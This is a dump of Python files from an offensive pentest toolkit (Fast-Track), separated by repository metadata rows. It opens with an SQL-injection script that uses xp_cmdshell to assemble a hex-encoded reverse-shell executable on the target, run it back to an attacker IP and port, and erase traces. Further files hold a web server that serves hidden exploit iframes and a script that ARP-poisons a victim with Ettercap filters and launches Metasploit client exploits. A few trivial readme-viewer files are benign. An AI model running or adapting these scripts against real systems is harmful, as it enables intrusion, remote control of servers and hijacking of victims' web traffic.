c9 41 ff 13 13 c9 ff 13 72 f8 c3 b0 42 00 00 bd 42 00 00 00 00 00 00 00 40 40 00 30 01 40 00 00 10 40 00 00 10 40 00 68 1c 06 32 40 07 6a 01 e8 0e 7c 38 55 0c e8 42 02 c8 15 38 9e 6a 7e 38 ea 53 0c 7a 50 2c 16 74 41 30 fd 01 bf 55 b2 b1 33 6a 91 02 06 b2 7c 55 9a 27 a3 78 83 66 c7 05 64 7b 4f a6 38 67 bc 5d 50 66 94 3d 39 66 a3 68 7e 64 66 7e 21 7d 8b 73 0c d9 0a 6a 68 94 2d a1 >11.txt'--") string11=(r"';exec master..xp_cmdshell 'echo e 0380 >12.txt'--") string12=(r"';exec master..xp_cmdshell 'echo 3a 7a 6f 48 15 ea 4c 05 11 50 64 90 10 4d 44 55 91 14 3c 40 78 6a 28 10 68 5d 28 ff 35 30 74 e8 a4 9e 51 54 55 a1 55 8d bf 6e 0e 0a 08 90 22 0b e1 51 14 e8 1f 81 4b c3 ff 25 24 20 bb 6f 2a 1c 06 43 18 21 14 bd c3 22 08 71 cc 01 55 8b ec 81 c4 7c fe ff 88 56 57 e8 60 ac dd 89 45 fc 33 1d c9 8b 75 7e 38 3c 1d 74 07 1e 22 40 f7 41 eb f4 51 d1 72 e9 00 e1 58 3b c1 74 0b 5f 5e 30 b8 03 >13.txt'--") string13=(r"';exec master..xp_cmdshell 'echo e 0400 >14.txt'--") string14=(r"';exec master..xp_cmdshell 'echo b9 c9 c2 08 e1 86 49 8d bd 3c 70 e5 43 2a 09 cf 2f e0 02 b0 20 aa eb 73 f2 28 8d 85 15 39 8b f0 36 f8 33 2a 33 eb 1b 8b 03 66 32 07 ef 22 65 20 4d fe 22 11 e1 28 2d ed 94 08 83 b9 dc b7 30 4b 74 fb 3b 3a 4d 08 a8 15 59 65 1d 67 0a 4c 13 41 1d 0f 14 eb e6 aa 0d 36 07 19 87 38 f4 b0 7f c0 55 73 11 8b 7d 0c c6 17 b8 02 7f 82 a2 13 9d 68 b0 a0 58 34 33 0d 46 0d e6 d1 f7 e1 fe 58 a3 ee >15.txt'--") string15=(r"';exec master..xp_cmdshell 'echo e 0480 >16.txt';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string16=(r"';exec master..xp_cmdshell 'echo e7 44 bb 1f 16 a9 ce 11 04 de 55 01 3c d4 14 d4 0e 1b 33 c0 4e ec 87 0b 70 d2 8a 06 46 3d 3c 02 b3 12 0e f7 df 90 eb 0b 2c 30 19 8d 0c 89 06 48 83 2d 0a c0 75 f1 e8 04 11 33 51 c2 38 e2 30 83 c4 07 f4 6a f5 e8 69 09 19 49 ff bd 82 aa 20 0b d0 2a 93 75 37 f8 50 22 9d 29 86 06 fc e8 4d 2f 68 8b 24 38 e6 53 1a 0f 08 8d 50 03 21 18 83 c0 04 e3 f9 ff fe 80 02 f7 d3 23 cb 81 e1 44 80 74 >17.txt'--") string17=(r"';exec master..xp_cmdshell 'echo e 0500 >18.txt'--") string18=(r"';exec master..xp_cmdshell 'echo 7c e9 6c c1 0c 60 75 77 06 f4 10 c0 40 02 d0 e1 1b c2 51 5b 3a 47 c4 49 19 ca 0c 57 06 08 30 00 00 30 40 00 63 30 6d 64 00 66 3f 40 00 14 38 20 40 03 77 73 32 5f 33 98 2e 64 6c e3 c0 80 67 07 65 74 68 6f 73 40 62 79 6e 61 7b 6d cf 1e 63 9e 3c f7 eb ff 0e 12 57 53 41 5d cf 61 72 46 75 70 18 79 68 ca 2c 73 13 4f 26 63 6b 62 ef c1 ff b8 03 6c 95 1a 72 ca 5e 6c 4c c7 57 d3 69 74 f3 46 >19.txt'--") string19=(r"';exec master..xp_cmdshell 'echo e 0580 >20.txt'--") string20=(r"';exec master..xp_cmdshell 'echo a7 bc 91 47 c3 4c 43 6f 6d 88 61 6e 64 36 4c 69 44 62 7e 80 76 72 fb 9d 3a 50 b7 82 e7 73 15 41 58 21 c0 64 48 d0 43 2f 60 00 00 00 00 00 66 3f 40 00 4c 6f 61 64 4c 69 62 72 61 72 79 41 00 47 65 74 50 72 6f 63 41 64 64 72 65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 40 00 00 e9 74 be ff ff 00 00 00 02 00 00 00 0c 40 00 00 >21.txt'--") # Convert the crazy text files into one file string21=(r"';exec master..xp_cmdshell 'echo r cx >22.txt';exec master..xp_cmdshell 'echo 04ef >23.txt';exec master..xp_cmdshell 'echo w >24.txt';exec master..xp_cmdshell 'echo q >25.txt';exec master..xp_cmdshell 'type 1.txt > reverse.txt';exec master..xp_cmdshell 'type 2.txt >> reverse.txt';exec master..xp_cmdshell 'type 3.txt >> reverse.txt';exec master..xp_cmdshell 'type 4.txt >> reverse.txt';exec master..xp_cmdshell 'type 5.txt >> reverse.txt';exec master..xp_cmdshell 'type 6.txt >> reverse.txt';exec master..xp_cmdshell 'type 7.txt >> reverse.txt';exec master..xp_cmdshell 'type 8.txt >> reverse.txt';exec master..xp_cmdshell 'type 9.txt >> reverse.txt';exec master..xp_cmdshell 'type 10.txt >> reverse.txt';exec master..xp_cmdshell 'type 11.txt >> reverse.txt';exec master..xp_cmdshell 'type 12.txt >> reverse.txt';exec master..xp_cmdshell 'type 13.txt >> reverse.txt';exec master..xp_cmdshell 'type 14.txt >> reverse.txt';exec master..xp_cmdshell 'type 15.txt >> reverse.txt';exec master..xp_cmdshell 'type 16.txt >> reverse.txt';exec master..xp_cmdshell 'type 17.txt >> reverse.txt';exec master..xp_cmdshell 'type 18.txt >> reverse.txt';exec master..xp_cmdshell 'type 19.txt >> reverse.txt';exec master..xp_cmdshell 'type 20.txt >> reverse.txt';exec master..xp_cmdshell 'type 21.txt >> reverse.txt';exec master..xp_cmdshell 'type 22.txt >> reverse.txt';exec master..xp_cmdshell 'type 23.txt >> reverse.txt';exec master..xp_cmdshell 'type 24.txt >> reverse.txt';exec master..xp_cmdshell 'type 25.txt >> reverse.txt'--") # Convert to an executable string22=(r"';exec master..xp_cmdshell 'debug<reverse.txt';exec master..xp_cmdshell 'copy service.dll reverse.exe'--") # Cleanup string23=(r"';exec master ..xp_cmdshell 'del 1.txt';exec master ..xp_cmdshell 'del 2.txt';exec master ..xp_cmdshell 'del 3.txt';exec master ..xp_cmdshell 'del 4.txt';exec master ..xp_cmdshell 'del 5.txt';exec master ..xp_cmdshell 'del 6.txt';exec master ..xp_cmdshell 'del 7.txt';exec master ..xp_cmdshell 'del 8.txt';exec master ..xp_cmdshell 'del 9.txt';exec master ..xp_cmdshell 'del 10.txt';exec master ..xp_cmdshell 'del 11.txt';exec master ..xp_cmdshell 'del 12.txt';exec master ..xp_cmdshell 'del 13.txt';exec master ..xp_cmdshell 'del 14.txt'--") string24=(r"';exec master ..xp_cmdshell 'del 15.txt';exec master ..xp_cmdshell 'del 16.txt';exec master ..xp_cmdshell 'del 17.txt';exec master ..xp_cmdshell 'del 18.txt';exec master ..xp_cmdshell 'del 19.txt';exec master ..xp_cmdshell 'del 20.txt';exec master ..xp_cmdshell 'del 21.txt';exec master ..xp_cmdshell 'del 22.txt';exec master ..xp_cmdshell 'del 23.txt';exec master ..xp_cmdshell 'del 24.txt';exec master ..xp_cmdshell 'del 25.txt';exec master ..xp_cmdshell 'del reverse.txt';exec master ..xp_cmdshell 'del service.dll'--") # Actually execute the reverse shell string25=(r"';exec master..xp_cmdshell 'reverse.exe %s %s'--" % (ipaddr,port)) sqlreplace1 = targeturl.replace("'INJECTHERE", """%s""" % (string1)) sqlreplace2 = targeturl.replace("'INJECTHERE", """%s""" % (string2)) sqlreplace3 = targeturl.replace("'INJECTHERE", """%s""" % (string3)) sqlreplace4 = targeturl.replace("'INJECTHERE", """%s""" % (string4)) sqlreplace5 = targeturl.replace("'INJECTHERE", """%s""" % (string5)) sqlreplace6 = targeturl.replace("'INJECTHERE", """%s""" % (string6)) sqlreplace7 = targeturl.replace("'INJECTHERE", """%s""" % (string7)) sqlreplace8 = targeturl.replace("'INJECTHERE", """%s""" % (string8)) sqlreplace9 = targeturl.replace("'INJECTHERE", """%s""" % (string9)) sqlreplace10 = targeturl.replace("'INJECTHERE", """%s""" % (string10)) sqlreplace11 = targeturl.replace("'INJECTHERE", """%s""" % (string11)) sqlreplace12 = targeturl.replace("'INJECTHERE", """%s""" % (string12)) sqlreplace13 = targeturl.replace("'INJECTHERE", """%s""" % (string13)) sqlreplace14 = targeturl.replace("'INJECTHERE", """%s""" % (string14)) sqlreplace15 = targeturl.replace("'INJECTHERE", """%s""" % (string15)) sqlreplace16 = targeturl.replace("'INJECTHERE", """%s""" % (string16)) sqlreplace17 = targeturl.replace("'INJECTHERE", """%s""" % (string17)) sqlreplace18 = targeturl.replace("'INJECTHERE", """%s""" % (string18)) sqlreplace19 = targeturl.replace("'INJECTHERE", """%s""" % (string19)) sqlreplace20 = targeturl.replace("'INJECTHERE", """%s""" % (string20)) sqlreplace21 = targeturl.replace("'INJECTHERE", """%s""" % (string21)) sqlreplace22 = targeturl.replace("'INJECTHERE", """%s""" % (string22)) sqlreplace23 = targeturl.replace("'INJECTHERE", """%s""" % (string23)) sqlreplace24 = targeturl.replace("'INJECTHERE", """%s""" % (string24)) sqlreplace25 = targeturl.replace("'INJECTHERE", """%s""" % (string25)) print "\n" try: import urllib2 print " Sending initial request to enable xp_cmdshell if disabled...." connection1=urllib2.urlopen("""%s""" % (sqlreplace1).replace(" ", "%20")) print " Sending first portion of payload...." connection2=urllib2.urlopen("""%s""" % (sqlreplace2).replace(" ", "%20")) connection3=urllib2.urlopen("""%s""" % (sqlreplace3).replace(" ", "%20")) connection4=urllib2.urlopen("""%s""" % (sqlreplace4).replace(" ", "%20")) connection5=urllib2.urlopen("""%s""" % (sqlreplace5).replace(" ", "%20")) print " Sending second portion of payload...." connection6=urllib2.urlopen("""%s""" % (sqlreplace6).replace(" ", "%20")) connection7=urllib2.urlopen("""%s""" % (sqlreplace7).replace(" ", "%20")) connection8=urllib2.urlopen("""%s""" % (sqlreplace8).replace(" ", "%20")) connection9=urllib2.urlopen("""%s""" % (sqlreplace9).replace(" ", "%20")) print " Sending next portion of payload..." connection10=urllib2.urlopen("""%s""" % (sqlreplace10).replace(" ", "%20")) connection11=urllib2.urlopen("""%s""" % (sqlreplace11).replace(" ", "%20")) connection12=urllib2.urlopen("""%s""" % (sqlreplace12).replace(" ", "%20")) connection13=urllib2.urlopen("""%s""" % (sqlreplace13).replace(" ", "%20")) connection14=urllib2.urlopen("""%s""" % (sqlreplace14).replace(" ", "%20")) connection15=urllib2.urlopen("""%s""" % (sqlreplace15).replace(" ", "%20")) connection16=urllib2.urlopen("""%s""" % (sqlreplace16).replace(" ", "%20")) connection17=urllib2.urlopen("""%s""" % (sqlreplace17).replace(" ", "%20")) print " Sending the last portion of the payload..." connection18=urllib2.urlopen("""%s""" % (sqlreplace18).replace(" ", "%20")) connection19=urllib2.urlopen("""%s""" % (sqlreplace19).replace(" ", "%20")) connection20=urllib2.urlopen("""%s""" % (sqlreplace20).replace(" ", "%20")) connection21=urllib2.urlopen("""%s""" % (sqlreplace21).replace(" ", "%20")) connection22=urllib2.urlopen("""%s""" % (sqlreplace22).replace(" ", "%20")) print ' Running cleanup...' connection23=urllib2.urlopen("""%s""" % (sqlreplace23).replace(" ", "%20")) connection24=urllib2.urlopen("""%s""" % (sqlreplace24).replace(" ", "%20")) print " Running the payload on the server..." connection25=urllib2.urlopen("""%s""" % (sqlreplace25).replace(" ", "%20")) print " You should have a shell if everything went good..Might take a couple seconds\n" except Exception: print ' Something went wrong, did you enter the IP address right??\n\nAlso, might not be running as "SA".' time.sleep(5)
15,236
Python
.py
143
103.895105
1,531
0.684416
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,366
about.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/about.py
#!/usr/bin/env python fileopen=file("readme/README").readlines() print "\n" for line in fileopen: print line.rstrip() pause=raw_input("\nPress enter to return to main menu")
180
Python
.py
6
28
55
0.744186
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,367
obsolete_changelog.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/obsolete_changelog.py
#!/usr/bin/env python import os import sys from bin.include import print_banner definepath=os.getcwd() openfile=file("%s/readme/CHANGELOG" % (definepath),"r").readlines() print_banner() print '\n' for line in openfile: print line.rstrip() pause=raw_input("\bHit enter to return to main menu.")
302
Python
.py
11
25.727273
67
0.759582
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,368
obsolete_credits.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/obsolete_credits.py
#!/usr/bin/env python import os import sys import bin.include openfile=file("readme/CREDITS","r").readlines() print '\n' for line in openfile: print line.rstrip() pause=raw_input("\b Hit enter to return to main menu.")
231
Python
.py
9
23.666667
58
0.741935
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,369
obsolete_about.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/obsolete_about.py
#!/usr/bin/env python fileopen=file("readme/README").readlines() print "\n" for line in fileopen: print line.rstrip() pause=raw_input("\nPress enter to return to main menu")
182
Python
.py
6
28
55
0.744186
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,370
obsolete_about.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/.svn/text-base/obsolete_about.py.svn-base
#!/usr/bin/env python fileopen=file("readme/README").readlines() print "\n" for line in fileopen: print line.rstrip() pause=raw_input("\nPress enter to return to main menu")
182
Python
.py
6
28
55
0.744186
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,371
obsolete_credits.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/.svn/text-base/obsolete_credits.py.svn-base
#!/usr/bin/env python import os import sys import bin.include openfile=file("readme/CREDITS","r").readlines() print '\n' for line in openfile: print line.rstrip() pause=raw_input("\b Hit enter to return to main menu.")
231
Python
.py
9
23.666667
58
0.741935
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,372
obsolete_changelog.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/.svn/text-base/obsolete_changelog.py.svn-base
#!/usr/bin/env python import os import sys from bin.include import print_banner definepath=os.getcwd() openfile=file("%s/readme/CHANGELOG" % (definepath),"r").readlines() print_banner() print '\n' for line in openfile: print line.rstrip() pause=raw_input("\bHit enter to return to main menu.")
302
Python
.py
11
25.727273
67
0.759582
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,373
about.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/obsolete/.svn/text-base/about.py.svn-base
#!/usr/bin/env python fileopen=file("readme/README").readlines() print "\n" for line in fileopen: print line.rstrip() pause=raw_input("\nPress enter to return to main menu")
180
Python
.py
6
28
55
0.744186
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,374
httpserver.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/clientattack/httpserver.py
#!/usr/bin/env python # Import modules needed here..all standard Python modules from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import sys import os import binascii try: import psyco psyco.full() except ImportError: pass try: ipaddr = sys.argv[1] except IndexError: ipaddr = raw_input("\n\nEnter the IP Address of your interface you want to listen on: ") definepath = os.getcwd() class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # Site root: Main Menu if self.path == "/ohn0es.jpg": unhex = binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00") self.wfile.write(unhex) if self.path == "/": target = self.client_address[0] self.wfile.write("""<html><head>""") fileopen = file("%s/bin/ftsrc/clientattack/exploits/list" % (definepath), "r").readlines() counter = 8000 fileopen2 = file("%s/bin/ftsrc/clientattack/exploits/xmlbo" % (definepath), "r").readlines() for line in fileopen2: self.wfile.write(line) for line in fileopen: line = line.rstrip() self.wfile.write("""<iframe src ="http://%s:%s/" width="0" height="0" scrolling="no"></iframe>""" % (ipaddr, counter)) counter = counter + 1 fileopen2 = file("%s/bin/ftsrc/clientattack/exploits/ms09002" % (definepath), "r").readlines() for line in fileopen2: self.wfile.write(line) for line in fileopen: line = line.rstrip() self.wfile.write("""<iframe src ="http://%s:%s/" width="0" height="0" scrolling="no"></iframe>""" % (ipaddr, counter)) counter = counter + 1 fileopen2 = file("%s/bin/ftsrc/clientattack/exploits/directshowheap" % (definepath), "r").readlines() for line in fileopen2: self.wfile.write(line) for line in fileopen: line = line.rstrip() self.wfile.write("""<iframe src ="http://%s:%s/" width="0" height="0" scrolling="no"></iframe>""" % (ipaddr, counter)) counter = counter + 1 self.wfile.write("""<title>Site is currently down...</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Sorry, the page did not load correctly, please wait while your browser refreshes and the site should appear in a moment..</p>Sorry for any disruptions this may have caused..<br>""") print "Attempt a manual connect to IP Address: %s for the XML Corruption Exploit on port 5500, i.e. nc %s 5500" % (target, target) # Print standard browser headers def printBrowserHeaders(self): self.wfile.write("<p>Headers: <br>") header_keys = self.headers.dict.keys() for key in header_keys: self.wfile.write("<b>" + key + "</b>: ") self.wfile.write(self.headers.dict[key] + "<br>") # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer((ipaddr, 80), myRequestHandler) print "\n****************************************\nFast-Track Mass Client Attack Web Server\nWritten by: David Kennedy (ReL1K)\n****************************************\n" print "Starting HTTP Server on %s port 80\n" % (ipaddr) print "*** Have someone connect to you on %s port 80 ***\n" % (ipaddr) print "Type <control>-c to exit.." try: httpd.handle_request() httpd.serve_forever() except KeyboardInterrupt: print "\n\nExiting Fast-Track Metasploit Mass Client Attack...\n\n" raise KeyboardInterrupt #sys.exit()
4,339
Python
.py
83
41.301205
268
0.595143
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,375
massclient.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/clientattack/massclient.py
#!/usr/bin/env python import pexpect import sys import os import subprocess import re #from bin.include import print_banner try: import psyco psyco.full() except ImportError: pass basepath = os.getcwd() #def show_massclient(basepath): # define metasploit path meta_path=file("%s/bin/config/config" % (basepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: #define IP Addr to echo into index.html try: ipaddr=sys.argv[3] except IndexError: #print_banner() print """ Mass Client Client Attack Requirements: PExpect Metasploit has a bunch of powerful client-side attacks available in its arsenal. This simply launches all client side attacks within Metasploit through msfcli and starts them on various ports and starts a custom HTTP server for you, injects a new index.html file, and puts all of the exploits in iframes. If you can get someone to connect to this web page, it will basically brute force various client side exploits in the hope one succeeds. You'll have to monitor each shell if one succeeds.. Once finished, just have someone connect to port 80 for you and if they are vulnerable to any of the exploits...should have a nice shell. <ctrl>-c to Cancel """ ipaddr=raw_input(" Enter the IP Address to listen on: ") # set flags to 0 in case nothing was specified for sys.argv5 and 6 etterchoice=0 ettercapon=0 try: # this is the payload specification for metasploit payloads choice=sys.argv[4] # if its not specified or from menu mode, raise exception and print payloads except IndexError: print """ Specify your payload: 1. Windows Meterpreter Reverse Meterpreter 2. Generic Bind Shell 3. Windows VNC Inject Reverse_TCP (aka "Da Gui") 4. Reverse TCP Shell """ choice=raw_input(" Enter the number of the payload you want: ") if choice == '1': choice=("windows/meterpreter/reverse_tcp\nset LHOST %s" % (ipaddr)) if choice == '2': choice=("generic/shell_bind_tcp") if choice == '3': choice=("windows/vncinject/reverse_tcp\nset LHOST %s" % (ipaddr)) if choice == '4': choice=("generic/shell_reverse_tcp\nset LHOST %s" % (ipaddr)) try: # if no option specified or in menu mode throw error and ask if ettercap wants to be used ettercapon=sys.argv[5] except IndexError: etterchoice=raw_input("""\n Would you like to use ettercap to ARP poison a host yes or no: """) if etterchoice == 'yes': try: # if no option specified and user specified yes, start the ettercap process ettercap=sys.argv[6] except IndexError: print """ Ettercap allows you to ARP poison a specific host and when they browse a site, force them to use the metasploit site and launch a slew of exploits from the Metasploit repository. ETTERCAP REQUIRED. \n\n """ ettercap=raw_input(" What IP Address do you want to poison: ") print " Setting up the ettercap filters...." filewrite=file("bin/appdata/fasttrack.filter","w") # custom filter for replacing all HREFs with mass client server filter=(r'''if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("Client Accepted our encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("a href=", "a href=\"http://%s\" "); replace("a href=", "a href=\"http://%s\" "); msg("Filter Ran.\n"); } ''' % (ipaddr,ipaddr)) filewrite.write(filter) filewrite.close() print " Filter created..." print " Compiling Ettercap filter..." # convert the filter to ettercap format using etterfilter ettercompile=subprocess.Popen("etterfilter bin/appdata/fasttrack.filter -o bin/appdata/fasttrack.ef", shell=True).wait() print " Filter compiled...Running Ettercap and poisoning target..." # get ettercap started ettercaprun=subprocess.Popen("""xterm -geometry 50x30+3-3 -T "Fast-Track Ettercap Poison" -e "ettercap -T -q -F bin/appdata/fasttrack.ef -M ARP /%s/ //" 2> /dev/null""" % (ettercap), shell=True) if ettercapon == '1': try: ettercap=sys.argv[6] except IndexError: print """ Ettercap allows you to ARP poison a specific host and when they browse a site, force them to use the metasploit site and launch a slew of exploits from the Metasploit repository.\n\n """ ettercap=raw_input(" What IP Address do you want to poison: ") print " Setting up the ettercap filters...." filewrite=file("bin/appdata/fasttrack.filter","w") filter=(r'''if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("Client accepted our encoding!!!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("a href=", "a href=\"http://%s\" "); replace("a href=", "a href=\"http://%s\" "); msg("Hijacking HREF's in client browser...\n"); } ''' % (ipaddr,ipaddr)) filewrite.write(filter) filewrite.close() print " Filter created..." print " Compiling Ettercap filter..." ettercompile=subprocess.Popen("etterfilter bin/appdata/fasttrack.filter -o bin/appdata/fasttrack.ef", shell=True).wait() print " Filter compiled...Running Ettercap and poisoning target..." ettercaprun=subprocess.Popen("""xterm -geometry 75x25+5-90 -T "Fast-Track Ettercap Poison" -e "ettercap -T -q -F bin/appdata/fasttrack.ef -M ARP /%s/ //" 2> /dev/null""" % (ettercap), shell=True) basepath=os.getcwd() print " Setting up Metasploit MSFConsole with various exploits..." prepfile=file("metasploitloadfile","w") payload=("set PAYLOAD %s\n" % (choice)) uri=("set URIPATH /\n") fileread=file("%s/bin/ftsrc/clientattack/exploits/list" % (basepath), "r").readlines() srvport=8000 lport=9000 for line in fileread: line=line.rstrip() a=line.split(" ") match=re.search("exploit",line) if match: line=a[4] match=re.search("aim",line) if not match: prepfile.write("use %s\n" % (line)) prepfile.write(payload) prepfile.write("set SRVPORT %s\n" % (srvport)) srvport=srvport+1 prepfile.write(uri) prepfile.write("set LPORT %s\n" % (lport)) lport=lport+1 prepfile.write("exploit\n") prepfile.close() print " If an exploit succeeds, type sessions -l to list shells and sessions -i <id>\nto interact...\n\n" print " Have someone connect to you on port 80...\n" print " Launching MSFConsole and Exploits...\n" print " Once you see the Metasploit Console launch all the exploits have someone\n connect to you.." launchsploit=subprocess.Popen("""xterm -geometry 100x50-1+1 -T "Fast-Track Mass Client Attack" -e "%smsfconsole -r %s/metasploitloadfile" 2> /dev/null""" % (metapath,basepath), shell=True) launchhttpserver=subprocess.Popen("""xterm -geometry 75x25 -T "Fast-Track Custom HTTP Server" -e "python %s/bin/ftsrc/clientattack/httpserver.py %s" 2> /dev/null""" % (basepath,ipaddr), shell=True) pause=raw_input(" Press enter to end the Mass Client Attack...") except KeyboardInterrupt: print "\n\n Exiting Fast-Track Mass Client Attack...\n\n" delfile=os.popen3("del metasploitloadfile") except Exception,e: print e print "\n\n Exiting Fast-Track Mass Client Attack...\n\n" delfile=os.popen3("rm metasploitloadfile;rm bin/appdata/fasttrack.ef;rm bin/appdata/fasttrack.filter")
8,761
Python
.py
178
39.393258
210
0.612223
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,376
massclient.py.svn-base
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/ftsrc/clientattack/.svn/text-base/massclient.py.svn-base
#!/usr/bin/env python import pexpect import sys import os import subprocess import re #from bin.include import print_banner try: import psyco psyco.full() except ImportError: pass basepath = os.getcwd() #def show_massclient(basepath): # define metasploit path meta_path=file("%s/bin/config/config" % (basepath),"r").readlines() for line in meta_path: line=line.rstrip() match=re.search("METASPLOIT_PATH",line) if match: line=line.replace("METASPLOIT_PATH=","") metapath=line try: #define IP Addr to echo into index.html try: ipaddr=sys.argv[3] except IndexError: #print_banner() print """ Mass Client Client Attack Requirements: PExpect Metasploit has a bunch of powerful client-side attacks available in its arsenal. This simply launches all client side attacks within Metasploit through msfcli and starts them on various ports and starts a custom HTTP server for you, injects a new index.html file, and puts all of the exploits in iframes. If you can get someone to connect to this web page, it will basically brute force various client side exploits in the hope one succeeds. You'll have to monitor each shell if one succeeds.. Once finished, just have someone connect to port 80 for you and if they are vulnerable to any of the exploits...should have a nice shell. <ctrl>-c to Cancel """ ipaddr=raw_input(" Enter the IP Address to listen on: ") # set flags to 0 in case nothing was specified for sys.argv5 and 6 etterchoice=0 ettercapon=0 try: # this is the payload specification for metasploit payloads choice=sys.argv[4] # if its not specified or from menu mode, raise exception and print payloads except IndexError: print """ Specify your payload: 1. Windows Meterpreter Reverse Meterpreter 2. Generic Bind Shell 3. Windows VNC Inject Reverse_TCP (aka "Da Gui") 4. Reverse TCP Shell """ choice=raw_input(" Enter the number of the payload you want: ") if choice == '1': choice=("windows/meterpreter/reverse_tcp\nset LHOST %s" % (ipaddr)) if choice == '2': choice=("generic/shell_bind_tcp") if choice == '3': choice=("windows/vncinject/reverse_tcp\nset LHOST %s" % (ipaddr)) if choice == '4': choice=("generic/shell_reverse_tcp\nset LHOST %s" % (ipaddr)) try: # if no option specified or in menu mode throw error and ask if ettercap wants to be used ettercapon=sys.argv[5] except IndexError: etterchoice=raw_input("""\n Would you like to use ettercap to ARP poison a host yes or no: """) if etterchoice == 'yes': try: # if no option specified and user specified yes, start the ettercap process ettercap=sys.argv[6] except IndexError: print """ Ettercap allows you to ARP poison a specific host and when they browse a site, force them to use the metasploit site and launch a slew of exploits from the Metasploit repository. ETTERCAP REQUIRED. \n\n """ ettercap=raw_input(" What IP Address do you want to poison: ") print " Setting up the ettercap filters...." filewrite=file("bin/appdata/fasttrack.filter","w") # custom filter for replacing all HREFs with mass client server filter=(r'''if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", "Accept-Rubbish!"); # note: replacement string is same length as original string msg("Client Accepted our encoding!\n"); } } if (ip.proto == TCP && tcp.src == 80) { replace("a href=", "a href=\"http://%s\" "); replace("a href=", "a href=\"http://%s\" "); msg("Filter Ran.\n"); } ''' % (ipaddr,ipaddr)) filewrite.write(filter) filewrite.close() print " Filter created..." print " Compiling Ettercap filter..." # convert the filter to ettercap format using etterfilter ettercompile=subprocess.Popen("etterfilter bin/appdata/fasttrack.filter -o bin/appdata/fasttrack.ef", shell=True).wait() print " Filter compiled...Running Ettercap and poisoning target..." # get ettercap started ettercaprun=subprocess.Popen("""xterm -geometry 50x30+3-3 -T "Fast-Track Ettercap Poison" -e "ettercap -T -q -F bin/appdata/fasttrack.ef -M ARP /%s/ //" 2> /dev/null""" % (ettercap), shell=True) if ettercapon == '1': try: ettercap=sys.argv[6] except IndexError: print """ Ettercap allows you to ARP poison a specific host and when they browse a site, force them to use the metasploit site and launch a slew of exploits from the Metasploit repository.\n\n """ ettercap=raw_input(" What IP Address do you want to poison: ") print " Setting up the ettercap filters...." filewrite=file("bin/appdata/fasttrack.filter","w") filter=(r'''if (ip.proto == TCP && tcp.dst == 80) { if (search(DATA.data, "Accept-Encoding")) { replace("Accept-Encoding", 